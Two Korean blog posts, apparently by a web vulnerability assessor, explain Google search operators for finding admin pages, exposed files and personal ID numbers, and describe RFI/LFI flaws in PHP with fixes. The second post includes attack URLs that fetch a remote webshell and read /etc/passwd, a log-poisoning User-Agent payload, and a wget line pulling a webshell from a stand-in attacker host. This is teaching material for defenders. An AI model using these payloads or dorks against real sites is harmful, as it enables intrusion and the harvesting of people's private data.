2017. 2. 26.

2017. 2. 23.

[웹 취약점] 구글 해킹 유용한 명령어

구글해킹의 가장 큰 목적은 정보수집이다. 악의적인 사용자가 취약한 불특정 다수의 홈페이지를 탐색할 때 이용 할 수 도 있겠고 필자와 같이 취약점 점검 인력이 점검하려는 사이트의 정보를 수집하려고 할때 이용 할 수도 있다. 구글링을 통해 다양한 정보를 수집하고 이러한 정보를 기반으로 타겟 취약점을 보다 쉽게 공략할 수 있다.

# 명령어 목록

1. intitle:문자열  // 제목에 '문자열'이 포함된 웹 페이지를 찾아서 보여준다. 주로 index of 등과 같이 사용되어 디렉토리 리스팅 취약점을 검색할 때 사용된다.

  • intitle:index of
    • 소스상에서 <title>index of / </title> 으로 되어 있는 페이지를 검색한다.
  • intitle:admin site:kr
    • 타이틀에 admin이 포함된 kr 사이트를 검색한다.
  • intitle / inurl:admin
  • intitle:관리자페이지 site:kr
2. inurl:문자열 // URL에 '문자열' 이 포함된 페이지를 찾는다. 주로 admin.asp 와 같이 관리자 페이지를 찾을 때 사용된다.
  • inurl:admin.asp
    • URL에 'admin.asp' 가 포함된 페이지를 찾는다.
  • inurl:/admin/login.asp
  • inurl:/adm/login.php
3. Filetype:파일타입 // 특정 확장자에 대한 검색, 중요 파일 획득 시 사용
  • Filetype:bak,xls
  • Filetype:xls intext:보안
    • '보안' 이라는 문자를 포함하고 있는 xls 파일 검색
  • Filetype:xls "패스워드"
    • '패스워드' 완전한 문구 포함

4. Site:특정 사이트  // 해당 사이트에 대한 검색
  • Site:test.co.kr
5. intext:문자열 // 본문에 특정 '문자열' 이 포함된 페이지를 찾을 때
  • intext:ID
    • 자신의 아이디 노출 여부를 확인 할 때 사용된다.
  • intext:휴대폰 번호
    • 자신의 휴대폰 번호 노출 여부를 확인 할 때 사용된다.
6. numrange: <최소숫자>-<최대숫자> // 주로 주민등록번호 노출 여부를 할 때 사용한다.
  • numrange:700101-791231 site:abc.go.kr  
    • abc.go.kr 사이트에서 70년대에 출생한 사람들의 주민등록번호 노출 여부를 검사하고자 할 때 사용
    • :(쌍따옴표)뒤에 띄어쓰기 없이 바로 숫자를 입력해야 한다.
7. link:페이지로의 링크를 찾는다.
  • link:i2sec.co.kr
8. info:사이트에 대한 요약 정보를 출력하며 사이트와 관련된 다른 구글 검색으로의 링크를 제공 (파라미터를 포함한 완벽한 URL 이나 HOST NAME을 입력하여야 올바른 결과를 얻을 수 있다.)
  • info:www.i2sec.co.kr
9. related:특정사이트와 관련되어 있다고 판단되는 사이트 검색
  • related:www.i2sec.co.kr
10. " " 완전한 문구 포함
  • "password file" filetype:txt
11. * 모든 단어 검색
  • sport[*]
12. or 
  • filetype:bak inurl:"asp|jsp|php|php3"
13. 검색 결과에서 제외
  • site:kr inurl:edu -intitle:seoul

# 용도에 따른 분류

1) 관리자 로그인 페이지 찾기

- site:kr intitle:관리자페이지
- site:kr inurl:admin.asp, inurl:/admin/login.asp, inurl:/adm/login.php, inurl:/manager/login.asp

2) 자신의 개인정보 노출 여부를 확인
- intext:ID
- intext:hp Number

3) bak, inc, txt, xls, hwp와 같은 주요 파일 찾기
- filetype:inc dbcon
- filetype:hwp intext:나의 장점은

# 해결 방안

:: robots.txt 를 통한인터넷 검색 엔진 배제 표준 적용
** robots.txt 파일 생성은 웹 콘텐츠 최상위 디렉터리(/) 에 위치하도록 한다.

# 참고
  • http://blog.naver.com/siren258/141387599
  • http://qerogram.tistory.com/entry/4-%EA%B5%AC%EA%B8%80%EB%A7%81%EA%B5%AC%EA%B8%80%ED%95%B4%ED%82%B9

Continue reading

[웹 취약점] RFI & LFI 취약점

1. RFI 취약점


RFI (Remote File Inclusion) 취약점을 이용한 공격은 공격자가 악성 스크립트를 서버에 전달하여 해당 페이지를 통하여 악성 코드가 실행되도록 하는 것이다.

예제 1)

<?php
   if ( isset( $_GET['language'] ) ) {
      include( $_GET['language'] . '.php' );
   }
?>
<form method="get">
   <select name="language">
      <option value="english">English</option>
      <option value="french">French</option>
      ...
   </select>
   <input type="submit">
</form>

개발자는 english 와 french 값 만을 전달받고 있으나 부적절한 파라메터를 필터링하고 있지 않고 있다.

예제 2)
[RFI 취약점이 존재하는 페이지]
<?php
$color = 'blue';
if (isset($_GET['COLOR'] ))
$color = $_GET['COLOR'];
include($color . 'php'); 

[HTML 형식의 전달 메시지]

<form action='vulnerable.php' method='get'>
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form> 

vulnerable.php 파일에서 red, blue 이외의 값이 전달되어도 검증하는 코드가 존재하지 않아서 RFI 취약점이 발생할 가능성이 있다.

이를 이용하여 다음과 같은 취약점 공격이 가능하다
/vulnerable.php?COLOR=http://test.com/exploit.txt
이 같은 공격으로 처리페이지에 원격지 파일을 포함할 수 있다. 취약점이 존재하는 페이지의 include 함수를 통해 .txt 파일이 최종적으로는 exploit.txt.php 파일로 전달되기 때문에 .php 파일을 실행할 수 있다.

/vulnerable.php?COLOR=C:\ftp\upload\exploit
이전에 올려둔 악성 스크립트 파일을 호출하여 코드를 실행 할 수 있다.

/Null 문자 삽입으로 include 함수의 .php 확장자를 제거하여 다른 파일에 정상접근 할 수 있다.  서버가 리눅스, 유닉스 계열인 경우 Null 문자 삽입으로 /etc/passwd 파일에 접근할 수 있다.
/vulnerable.php?COLOR=/etc/passwd



#취약여부 확인
1) url/test.php?language=../

이는 RFI나 LFI 취약점이 있다고 볼 수 있다.

2) param=1.1.1.1%26ipconfig // 입력 시도


[공격 방법]
1) url/test.php?language=http://test.example.com/webshell.txt?
: 원격지의 파일을 포함 시킬 수 있다.

2) url/test.php?language=C:\ftp\upload\exploit
: 예전에 올려둔 파일을 호출하여 코드를 실행 시킬 수 있다

http://사이트주소/파일명?filename=http://해킹주소/hackcode.php
: 공격자가 파일 변수명을 확인해서 외부 사이트의 파일 주소를 변수로 넘기게 되면 외부사이트의 파일 주소 내용이 실행되게 된다.

3) url/test.php?language=C:\notes.txt
4) url/test.php?language=/etc/passwd
NULL 문자가 있을 시 문자열의 끝으로 판단하여 뒤쪽의 .php 는 탈락

2. LFI 취약점

LFI 는 파일을 포함시킬때, 해당 파일이 공격대상 서버에 위치한다는 점에서 RFI 와 구별된다.


[공격방법]
* Windows 의 경우
취약점페이지를 확인한 후 프록시 툴을 통해 header의 User-Agent 에 "<?php passthru('command'); ?>" 라는 php 코드를 넣어 전송한다.

Get /.../error.log
User-Agent : <?php passthru('command'); ?>
Accept: text/html; */8

url/test.php?language=../Server/apache/logs/error.log

* Unix 계열의 경우
<? system('wget http://test.hacker.test/webshell/test.txt -O test2.php'); ?>" 등의 명령어를 사용하여 원격으로 Webshell을 업로드 하는 공격이 가능하다. (test.txt 파일을 다운받아 test2.php로 저장)

3. 보안 대책


"../"과 같은 문자가 전달되었을 경우 다른 문자로 바꿔준다.

1) 문자필터링 php

str_replace(".","", $path);
str_replace("/", "", $filename);

2) 원격지 파일을 열지 못하도록 php 환경설정 파일 수정 (php.ini 수정)
allow_url_fopen = OFF
allow_url_include = OFF

(allow_url_fopen = On 은 URL 값을 파일처럼 사용하겠다는 의미이다. 그래서 원격지(read.php?Param=http://malicious.txt/attack.txt)의 파일을 실행할 수 있는것이다.

3) include 관련 에러 출력 안함 (php.ini)
display_errors = OFF

풀어서 다시 이야기하자면, 원격지의 파일의 실행(RFI 취약점)을 막기위해서는 allow_url_include = OFF 로 설정하면 된다. 그러나 이미 파일 업로드를 통해 내부 웹서버에 업로드된 파일을 실행 (LRI 취약점) 하는 것은 막지 못한다. 이를 위해서 include 함수를 사용 할 때 파일의 경로와 이름을 검증하는 구문을 반드시 적용하여야 한다.

$valid_filename = check_validation ( $_POST['filename']); // 파일 위치 검증함수 check_validation 사용

function check_validation($filename){
if (file_exists("$DOCUMENT_ROOT/common/$filename){
echo $filename;
}else{
echo "접근경로가 올바르지 않습니다.";
exit;
}


** file_exists(file) 함수
- 인수로 부여된 파일이 실제로 존재하지는지 아닌지 확인하는 함수
- 파일이 있으면 true, 파일이 없으면 false 를 반환한다.


include( ) 함수의 악용

ex) include ($Param);

주로 include( ) 함수는 모든 페이지에 포함될 표준 헤더 및 메뉴들을 파일로 만들어서 포함할 때 사용된다. 그러나 해당 함수와 설정 오류로 인해 원격지 파일을 로컬 파일처럼 호출할 수 있다.


include () 함수 사용 샘플
'header.php' 라는 표준 헤더 파일이 있다고 가정해보자. 페이지에 이 헤더 파일을 포함시키기 위해서 아래처럼 include () 함수를 사용하면 된다.

<html>
<body>
<?php include("header.php"); ?>
<h1> Welcome <h1>
<p> Some text </p>
</body>
</html>


<참고>

  • http://blog.naver.com/siren258/145489344
  • https://en.wikipedia.org/wiki/File_inclusion_vulnerability




Continue reading

Popular Posts

Recent Posts

Powered by Blogger.